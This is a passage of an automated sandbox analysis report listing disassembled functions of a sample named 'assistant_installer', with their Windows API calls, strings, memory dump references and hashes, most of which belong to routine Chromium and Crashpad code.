                                                                                                                                                                                                                • Opcode ID: 7b3942fb04d60f415b2ee2822521009ec3a0bc7c652be210e980ff0501aafe7c
                                                                                                                                                                                                                • Instruction ID: 8a289000c68b30f7c20880cc9e42e942163d856a40be8d5724a757b259f2e65b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7b3942fb04d60f415b2ee2822521009ec3a0bc7c652be210e980ff0501aafe7c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5C5114715043819BD7209F24DC457AAB7A0BFD6331F140B1DF9E4972D2D7B8A90AC792
                                                                                                                                                                                                                Function 007D4980 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 161libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007D49A5
                                                                                                                                                                                                                • EventRegister.ADVAPI32(?,007D4AA0,00000000,00000018,?,?,?,?,?,007D496A,Google.Chrome,00868194,00792FF0,00000000), ref: 007D4A0E
                                                                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,api-ms-win-eventing-provider-l1-1-0.dll,FFFFFFFF), ref: 007D4A2C
                                                                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,advapi32.dll,FFFFFFFF), ref: 007D4A3E
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(FFFFFFFF,EventSetInformation), ref: 007D4A50
                                                                                                                                                                                                                • FreeLibrary.KERNEL32(FFFFFFFF), ref: 007D4A76
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • advapi32.dll, xrefs: 007D4A37
                                                                                                                                                                                                                • api-ms-win-eventing-provider-l1-1-0.dll, xrefs: 007D4A25
                                                                                                                                                                                                                • EventSetInformation, xrefs: 007D4A48
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: HandleModule$AddressEventFreeLibraryProcRegister_strlen
                                                                                                                                                                                                                • String ID: EventSetInformation$advapi32.dll$api-ms-win-eventing-provider-l1-1-0.dll
                                                                                                                                                                                                                • API String ID: 2182669159-147808218
                                                                                                                                                                                                                • Opcode ID: f69ec50b478b3f3f364e18145b236751586798571c5f1d414cc0c7fa98ad3d80
                                                                                                                                                                                                                • Instruction ID: cdc73fe0da790e550a269fca437ae47204d9ec419bae30a7cb20ae2d85b7b68a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f69ec50b478b3f3f364e18145b236751586798571c5f1d414cc0c7fa98ad3d80
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5851CF72640214AFCB248F55DC44AAB7BF9FF88760F15812AF8499B360D775EC11CBA4
                                                                                                                                                                                                                Function 0076E1C4 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 156libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 006F3696: _strlen.LIBCMT ref: 006F36AD
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0076E274
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?), ref: 0076E345
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SetUnhandledExceptionFilter), ref: 0076E355
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$AddressHandleModuleProc
                                                                                                                                                                                                                • String ID: /prefetch:7$SetUnhandledExceptionFilter$fallback-handler$kernel32.dll$test-child-process$type
                                                                                                                                                                                                                • API String ID: 3627888737-2824896278
                                                                                                                                                                                                                • Opcode ID: 4eb4a80a2d89074a8c43cc3ed191f2fdaf836236421971e92b214e3ddf1f7bfd
                                                                                                                                                                                                                • Instruction ID: 39039d901ab7562c794e3fe24b5e33b803a29941fb2974059a8f915ba36cc0d0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4eb4a80a2d89074a8c43cc3ed191f2fdaf836236421971e92b214e3ddf1f7bfd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EE51E6B0604755AFDB10EF759846A6F7A96FF81750F04042CF486D3382EE299A48C6A3
                                                                                                                                                                                                                Function 007038E2 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 107COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00703906
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00703932
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0070398D
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007039B4
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007039E8
                                                                                                                                                                                                                  • Part of subcall function 007041C0: _strlen.LIBCMT ref: 00704297
                                                                                                                                                                                                                  • Part of subcall function 007041C0: _strlen.LIBCMT ref: 007042BF
                                                                                                                                                                                                                  • Part of subcall function 007041C0: _strlen.LIBCMT ref: 007042E3
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: HKCU$HKLM$No registry dictionary$registry
                                                                                                                                                                                                                • API String ID: 4218353326-1611147590
                                                                                                                                                                                                                • Opcode ID: 82d69d72ef3a62a2e35ad980a8952692f99b787fe23dac43d0e4a827100db884
                                                                                                                                                                                                                • Instruction ID: ca98ab4e051d8fe1af6b42651ae9c15b11c091c4155897fdc57e24eef011631a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 82d69d72ef3a62a2e35ad980a8952692f99b787fe23dac43d0e4a827100db884
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 313182F1A00118DBDF10AB64AC45ABF776DFF45318F040524FD466B382D67AAD09C7A1
                                                                                                                                                                                                                Function 007ACDD8 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 83COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetVersion.KERNEL32 ref: 007ACDF1
                                                                                                                                                                                                                • InitializeCriticalSectionEx.KERNEL32(?,00000000,10000000), ref: 007ACE3F
                                                                                                                                                                                                                • InitializeCriticalSection.KERNEL32(?), ref: 007ACE9A
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007ACEBE
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007ACEF1
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • kernel32.dll, xrefs: 007ACEDA
                                                                                                                                                                                                                • ::InitializeCriticalSectionEx, xrefs: 007ACED5
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/critical_section_with_debug_info.cc, xrefs: 007ACE6B
                                                                                                                                                                                                                • InitializeCriticalSectionEx, xrefs: 007ACE7D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalInitializeSection$Init_thread_footerInit_thread_headerVersion
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/critical_section_with_debug_info.cc$::InitializeCriticalSectionEx$InitializeCriticalSectionEx$kernel32.dll
                                                                                                                                                                                                                • API String ID: 668362183-4281794248
                                                                                                                                                                                                                • Opcode ID: 2b9dcd12af7a5d3160e293336e9ab388defb8ed284e3b0a4972172a314a55497
                                                                                                                                                                                                                • Instruction ID: 38b92c44591410352769b164d0b0a459c8fc792b8f152748b203cd944905c48e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2b9dcd12af7a5d3160e293336e9ab388defb8ed284e3b0a4972172a314a55497
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 01212871B40214ABEA21A764EC0BFBE7355FB86700F444135FE05AB7C2E77D6D408692
                                                                                                                                                                                                                Function 0076C770 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 82sleepthreadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • Sleep.KERNEL32(00000001), ref: 0076C795
                                                                                                                                                                                                                • SleepEx.KERNEL32(000000FF,00000000), ref: 0076C7F8
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 0076C7FE
                                                                                                                                                                                                                • SetEvent.KERNEL32 ref: 0076C81F
                                                                                                                                                                                                                • Sleep.KERNEL32(0000EA60), ref: 0076C82A
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(../../third_party/crashpad/crashpad/client/crashpad_client_win.cc,000000AF,00000002), ref: 0076C874
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/client/crashpad_client_win.cc, xrefs: 0076C7C6, 0076C84D
                                                                                                                                                                                                                • crash server failed to launch, self-terminating, xrefs: 0076C7D8
                                                                                                                                                                                                                • crash server did not respond, self-terminating, xrefs: 0076C85F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Sleep$Current$EventProcessThread
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crashpad_client_win.cc$crash server did not respond, self-terminating$crash server failed to launch, self-terminating
                                                                                                                                                                                                                • API String ID: 1277712822-2636089577
                                                                                                                                                                                                                • Opcode ID: 2fbbd826b852bd3b202fce0e424826a4c372d7ef540f468fd583aa01571258b5
                                                                                                                                                                                                                • Instruction ID: c4a28572ead68d21186d30a97416c5c2f173158332d26e36cfbd37b58727cd8d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2fbbd826b852bd3b202fce0e424826a4c372d7ef540f468fd583aa01571258b5
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4D21D631B40314AFFF20AB64EC0BB6D3765BB45B10F450025FA55EB2D2DFB999848B92
                                                                                                                                                                                                                Function 00754730 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 174fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNEL32(FFFFFFFF,FFFFFFFF,FFFFFFFF,00000000,00000000,FFFFFFFF,00000000,?,00000000), ref: 00754893
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007548A1
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 007548D8
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007548E8
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000057,?,00000000), ref: 007548FE
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0075492F
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$CreateFile
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$DoInitialize
                                                                                                                                                                                                                • API String ID: 1722934493-2688016777
                                                                                                                                                                                                                • Opcode ID: a149ce91b9a8ff070071a39f7ac7c5ec1bf857358fe6e1fd0ff01dba1f8a3a42
                                                                                                                                                                                                                • Instruction ID: 6459a48f6d9748731218cc91f52ee95107863601b65b7131a99d804d0653b536
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a149ce91b9a8ff070071a39f7ac7c5ec1bf857358fe6e1fd0ff01dba1f8a3a42
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E7512472E007509BEB148F18CC8679AB7D1BBD5324F1A462DED8597281CBB8ED4487D2
                                                                                                                                                                                                                Function 007B0B4C Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 165COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 007B0B68
                                                                                                                                                                                                                • OpenProcess.KERNEL32(00000451,00000001,00000000), ref: 007B0B76
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: GetLastError.KERNEL32(00000000,?,-00000001,?,007012C9,00000000), ref: 00701BAB
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: SetLastError.KERNEL32(00000000,?,007012C9,00000000), ref: 00701BCA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLastProcess$CurrentOpen
                                                                                                                                                                                                                • String ID: --thread=$<v$<v$database$exception-pointers$process
                                                                                                                                                                                                                • API String ID: 4145867261-2291844171
                                                                                                                                                                                                                • Opcode ID: c7522d2dae14b58b3dc6e9b73756dc4b575cb39267bb76c9a1a6a791a69071fe
                                                                                                                                                                                                                • Instruction ID: 581476141304bf9f35f06edd7d5239f2e69ba712a9bf76d936dc51d3f263fa73
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c7522d2dae14b58b3dc6e9b73756dc4b575cb39267bb76c9a1a6a791a69071fe
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4551F1B1508301AFDB10EF64D886AAFBBE5BF94314F00492DF1C592192EB79E649C793
                                                                                                                                                                                                                Function 00753660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 132COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • MoveFileExW.KERNEL32(007067D1,?,00000003,?,00000000), ref: 00753706
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00753716
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(007067D1,?,00000000), ref: 00753782
                                                                                                                                                                                                                • SetLastError.KERNEL32(?), ref: 00753839
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileLast$AttributesMove
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$CopyAndDeleteDirectory$DirectoryExists$MoveUnsafe
                                                                                                                                                                                                                • API String ID: 3621388860-3041496909
                                                                                                                                                                                                                • Opcode ID: bf43727eb9b4d9ead474d82aa346279ce6ee9c2d034cab6aa1ad894bf73ec8b1
                                                                                                                                                                                                                • Instruction ID: c47450523dcd0176b28653fd8ea68d3c4fe41061b9d5895e7a49b0fc0abad5c3
                                                                                                                                                                                                                • Opcode Fuzzy Hash: bf43727eb9b4d9ead474d82aa346279ce6ee9c2d034cab6aa1ad894bf73ec8b1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 985105719043C09BE710DB28CC4A7BAB360BFD5764F14471DF9E4562D2DBF862498782
                                                                                                                                                                                                                Function 00717C46 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 107COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: clean$path$values$wow6432
                                                                                                                                                                                                                • API String ID: 4218353326-118893013
                                                                                                                                                                                                                • Opcode ID: 01997f66f6f10b14cf1c3de906b056cac533c14b166338531b7369f9e08ea19f
                                                                                                                                                                                                                • Instruction ID: 7394a24306d47ebbb458e4065a04801092dfb456e080266c823a72a0306e0dda
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 01997f66f6f10b14cf1c3de906b056cac533c14b166338531b7369f9e08ea19f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0D3185B1E002199BDB10EFA8984A9AFB7F9FF44310F044429F995D7341D778AD58C7A2
                                                                                                                                                                                                                Function 0070CFC2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66libraryloaderregistryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(Advapi32.dll,?,00000000,?,?,0070C6CA,?), ref: 0070CFE0
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 0070CFF0
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(Advapi32.dll,?,00000000,?,?,0070C6CA,?), ref: 0070D013
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0070D023
                                                                                                                                                                                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 0070D05C
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressHandleModuleProc$Delete
                                                                                                                                                                                                                • String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
                                                                                                                                                                                                                • API String ID: 2668475584-1053001802
                                                                                                                                                                                                                • Opcode ID: bf22e1d9fc972d71c69cac50da8c13a4f2630c58d2d5133361acf800a9167740
                                                                                                                                                                                                                • Instruction ID: 515a151d95433543d11ca9f1c4a5776019a0381f611c89a71d1d7449457c68f8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: bf22e1d9fc972d71c69cac50da8c13a4f2630c58d2d5133361acf800a9167740
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CA11BF30244340FBEB341BA5DC8CF637BECFB85756F184229B909D61E0DBA99C41CAA1
                                                                                                                                                                                                                Function 00829230 Relevance: 13.6, APIs: 9, Instructions: 129memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,006FB0C8,006FB0CA,00000000,00000000,33B6CE54,00000000,?,00000000,Function_0013BD70,0089E718,000000FE,?,006FB0C8,PT5M), ref: 008292B9
                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,006FB0C8,?,00000000,00000000,?,?,?,?,?,006FB0C8), ref: 00829334
                                                                                                                                                                                                                • SysAllocString.OLEAUT32(00000000), ref: 0082933F
                                                                                                                                                                                                                • _com_issue_error.COMSUPP ref: 00829368
                                                                                                                                                                                                                • _com_issue_error.COMSUPP ref: 00829372
                                                                                                                                                                                                                • GetLastError.KERNEL32(80070057,33B6CE54,00000000,?,00000000,Function_0013BD70,0089E718,000000FE,?,006FB0C8,PT5M), ref: 00829377
                                                                                                                                                                                                                • _com_issue_error.COMSUPP ref: 0082938A
                                                                                                                                                                                                                • GetLastError.KERNEL32(00000000,?,006FB0C8,PT5M,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 008293A0
                                                                                                                                                                                                                • _com_issue_error.COMSUPP ref: 008293B3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
